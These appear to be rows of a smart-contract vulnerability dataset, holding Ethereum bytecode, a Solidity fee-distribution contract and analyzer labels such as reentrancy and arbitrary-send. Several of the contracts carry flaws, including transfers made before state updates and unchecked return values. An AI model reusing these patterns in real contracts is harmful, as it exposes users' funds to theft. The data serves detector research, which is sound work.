050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208914b911174d377c71d76089f65333dbb3aa84f1d55a556a41d4a48262bb60dc64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,942 |
0xc705612b0ca8c026854f38e866bce2701828486a | pragma solidity 0.5.12;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplie two unsigned integers, revert on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, revert on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtract two unsigned integers, revert on underflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Add two unsigned integers, revert on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
/**
* @title ERC20 interface
* @dev See https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
_owner = msg.sender;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PairFeeDistribution is Ownable{
using SafeMath for uint256;
struct PairInfo {
uint256 totalfee;
uint256 unclaimedfee;
uint256 accpreshare;
}
struct UserInfo {
uint256 claimedfee;
uint256 rewardDebt;
}
address public factoryContract;
address[] public pairs;
address[] public users;
mapping(address => PairInfo) public pairInfo;
mapping(address =>mapping(address => UserInfo)) public userInfo;
mapping(address => bool) public userStatus;
mapping(address => uint256) public userIndex;
uint256 public pairUpdateIdx;
mapping(address => uint256) public withdrawIdx;
event AddInvestors(address user, bool update);
event RemoveInvestors(address user);
event UpdateInvestorPairPerShare(uint256 times);
event Withdrawfee(address pair, address account, uint256 amount);
event SetFactory(address preFactory, address newFactory);
function setFactory(address _factoryContract) public onlyOwner returns(bool) {
require(_factoryContract != address(0) , "The _factoryContract address cannot be zero address");
require(_factoryContract != factoryContract , "Repeated _factoryContract address");
emit SetFactory(factoryContract, _factoryContract);
factoryContract = _factoryContract;
return true;
}
modifier olnyFactory() {
require(msg.sender == factoryContract, "Caller is not the factoryContract");
_;
}
function addpair(address pair) public olnyFactory {
pairs.push(pair);
}
function addInvestors(address user, bool update) public onlyOwner returns(uint256){
require(user != address(0), "Investor address cannot be zero address");
require(!userStatus[user],"The user already exist");
require(pairUpdateIdx == 0);
uint256 length = pairs.length;
if (update) {
updateInvestorPairPerShare(length);
}
for (uint256 i = 0; i < length; i++) {
userInfo[user][pairs[i]].rewardDebt = pairInfo[pairs[i]].accpreshare.div(10000);
}
userStatus[user] = true;
users.push(user);
userIndex[user] = users.length.sub(1);
emit AddInvestors(user, update);
return users.length;
}
function removeInvestors(address user) public onlyOwner returns (uint256){
require(userStatus[user],"The user doesn't exist");
userStatus[user] = false;
userIndex[users[users.length.sub(1)]] = userIndex[user];
users[userIndex[user]] = users[users.length.sub(1)];
users.length--;
emit RemoveInvestors(user);
return users.length;
}
function updateInvestorPairPerShare(uint256 number) public onlyOwner {
uint256 userLength = users.length;
uint256 pairLength = pairs.length;
uint256 processCount;
uint256 index = pairUpdateIdx;
processCount = pairLength.sub(pairUpdateIdx) <= number ? pairLength.sub(pairUpdateIdx) : number;
for (uint256 i = pairUpdateIdx; i < processCount.add(pairUpdateIdx); i++) {
uint256 amount = IERC20(pairs[i]).balanceOf(address(this)).sub(pairInfo[pairs[i]].unclaimedfee);
if (amount > 0) {
pairInfo[pairs[i]].unclaimedfee = pairInfo[pairs[i]].unclaimedfee.add(amount);
pairInfo[pairs[i]].totalfee = pairInfo[pairs[i]].totalfee.add(amount);
pairInfo[pairs[i]].accpreshare = pairInfo[pairs[i]].accpreshare.add(amount.mul(10000).div(userLength));
}
index += 1;
if (index == pairLength) {
index = 0;
break;
}
}
pairUpdateIdx = index;
emit UpdateInvestorPairPerShare(processCount);
}
function withdrawfee(address paird, address account) public {
require(userStatus[msg.sender],"The caller doesn't exist");
PairInfo storage pair = pairInfo[paird];
UserInfo storage user = userInfo[msg.sender][paird];
uint256 amount = pair.accpreshare.div(10000).sub(user.rewardDebt);
if (amount >0) {
IERC20(paird).transfer(account,amount);
pair.unclaimedfee = pair.unclaimedfee.sub(amount);
user.rewardDebt = pair.accpreshare.div(10000);
user.claimedfee = user.claimedfee.add(amount);
}
emit Withdrawfee(paird, account, amount);
}
function batchwithdrawfee(address account, uint256 number) public {
require(userStatus[msg.sender],"The caller doesn't exist");
uint256 pairLength = pairs.length;
uint256 index = withdrawIdx[account];
uint256 processCount = pairLength.sub(index) <= number ? pairLength.sub(index) : number;
for (uint256 i = withdrawIdx[account]; i < processCount.add(withdrawIdx[account]); i++) {
uint256 amount = pairInfo[pairs[i]].accpreshare.div(10000).sub(userInfo[msg.sender][pairs[i]].rewardDebt);
if (amount >0) {
IERC20(pairs[i]).transfer(account,amount);
pairInfo[pairs[i]].unclaimedfee = pairInfo[pairs[i]].unclaimedfee.sub(amount);
userInfo[msg.sender][pairs[i]].rewardDebt = pairInfo[pairs[i]].accpreshare.div(10000);
userInfo[msg.sender][pairs[i]].claimedfee = userInfo[msg.sender][pairs[i]].claimedfee.add(amount);
emit Withdrawfee(pairs[i], account, amount);
}
index += 1;
if (index == pairLength) {
index = 0;
break;
}
}
withdrawIdx[account] = index;
}
function getpendingfee(address account, address paird) public view returns(uint256){
PairInfo storage pair = pairInfo[paird];
UserInfo storage user = userInfo[account][paird];
uint256 amount = pair.accpreshare.div(10000).sub(user.rewardDebt);
if (!userStatus[account]){
return 0;
}else{
return amount;
}
}
function getpairlength() public view returns(uint256){
return pairs.length;
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063c96679fe1161007c578063c96679fe1461037c578063dc0a4229146103a2578063de11c94a146103e6578063ee6d0139146103ee578063f2fde38b146103f6578063f9657e2d1461041c57610137565b80638da5cb5b1461030c5780638f32d59b146103145780639300c96f1461031c578063b91ac78814610339578063bea544681461035657610137565b80633843f455116100ff5780633843f4551461025e578063486fe98114610284578063583d2bbd1461028c5780635bb47808146102ba57806363f04d1a146102e057610137565b80630209b0b11461013c5780630f208beb1461017457806319c37489146101bb578063225d29a1146101eb578063365b98b214610225575b600080fd5b6101626004803603602081101561015257600080fd5b50356001600160a01b031661044a565b60408051918252519081900360200190f35b6101a26004803603604081101561018a57600080fd5b506001600160a01b0381358116916020013516610644565b6040805192835260208301919091528051918290030190f35b6101e9600480360360408110156101d157600080fd5b506001600160a01b0381358116916020013516610668565b005b6102116004803603602081101561020157600080fd5b50356001600160a01b0316610854565b604080519115158252519081900360200190f35b6102426004803603602081101561023b57600080fd5b5035610869565b604080516001600160a01b039092168252519081900360200190f35b6101626004803603602081101561027457600080fd5b50356001600160a01b0316610890565b6101626108a2565b610162600480360360408110156102a257600080fd5b506001600160a01b03813516906020013515156108a8565b610211600480360360208110156102d057600080fd5b50356001600160a01b0316610b50565b6101e9600480360360408110156102f657600080fd5b506001600160a01b038135169060200135610c96565b6102426110e1565b6102116110f1565b6101e96004803603602081101561033257600080fd5b5035611102565b6102426004803603602081101561034f57600080fd5b503561145a565b6101e96004803603602081101561036c57600080fd5b50356001600160a01b0316611467565b6101626004803603602081101561039257600080fd5b50356001600160a01b0316611502565b6103c8600480360360208110156103b857600080fd5b50356001600160a01b0316611514565b60408051938452602084019290925282820152519081900360600190f35b610242611535565b610162611544565b6101e96004803603602081101561040c57600080fd5b50356001600160a01b031661154a565b6101626004803603604081101561043257600080fd5b506001600160a01b038135811691602001351661159d565b60006104546110f1565b610493576040805162461bcd60e51b815260206004820181905260248201526000805160206117d2833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526006602052604090205460ff166104f9576040805162461bcd60e51b8152602060048201526016602482015275151a19481d5cd95c88191bd95cdb89dd08195e1a5cdd60521b604482015290519081900360640190fd5b6001600160a01b0382166000908152600660209081526040808320805460ff191690556007918290528220546003805491939161053d90600163ffffffff61162c16565b8154811061054757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556003805461058190600163ffffffff61162c16565b8154811061058b57fe5b60009182526020808320909101546001600160a01b03858116845260079092526040909220546003805492909316929181106105c357fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905560038054906105ff906000198301611743565b50604080516001600160a01b038416815290517fefe239c7e4dc91af58adbbc3c2819b751b6874da4ddd5de9af741d281dc9f2d89181900360200190a1505060035490565b60056020908152600092835260408084209091529082529020805460019091015482565b3360009081526006602052604090205460ff166106c7576040805162461bcd60e51b8152602060048201526018602482015277151a194818d85b1b195c88191bd95cdb89dd08195e1a5cdd60421b604482015290519081900360640190fd5b6001600160a01b0382166000818152600460209081526040808320338452600583528184209484529390915281206001810154600284015491929161072591906107199061271063ffffffff61164116565b9063ffffffff61162c16565b9050801561080457846001600160a01b031663a9059cbb85836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561078d57600080fd5b505af11580156107a1573d6000803e3d6000fd5b505050506040513d60208110156107b757600080fd5b505060018301546107ce908263ffffffff61162c16565b600184015560028301546107ea9061271063ffffffff61164116565b60018301558154610801908263ffffffff61166316565b82555b604080516001600160a01b0380881682528616602082015280820183905290517e84d967a4d94ce1589a28669dec23747b0c7c2f77426e1e0fde5889d19a46d19181900360600190a15050505050565b60066020526000908152604090205460ff1681565b6003818154811061087657fe5b6000918252602090912001546001600160a01b0316905081565b60096020526000908152604090205481565b60085481565b60006108b26110f1565b6108f1576040805162461bcd60e51b815260206004820181905260248201526000805160206117d2833981519152604482015290519081900360640190fd5b6001600160a01b0383166109365760405162461bcd60e51b81526004018080602001828103825260278152602001806117f26027913960400191505060405180910390fd5b6001600160a01b03831660009081526006602052604090205460ff161561099d576040805162461bcd60e51b8152602060048201526016602482015275151a19481d5cd95c88185b1c9958591e48195e1a5cdd60521b604482015290519081900360640190fd5b600854156109aa57600080fd5b60025482156109bc576109bc81611102565b60005b81811015610a6e57610a1261271060046000600285815481106109de57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600201549063ffffffff61164116565b6001600160a01b03861660009081526005602052604081206002805491929185908110610a3b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600190810191909155016109bf565b506001600160a01b0384166000818152600660205260408120805460ff19166001908117909155600380548083018255928190527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90920180546001600160a01b03191690931790925554610ae89163ffffffff61162c16565b6001600160a01b0385166000818152600760209081526040918290209390935580519182528515159282019290925281517f277a70a95e4597e095f70bac69fae870966da61095478157d532c43eacd41fb1929181900390910190a150506003545b92915050565b6000610b5a6110f1565b610b99576040805162461bcd60e51b8152602060048201819052602482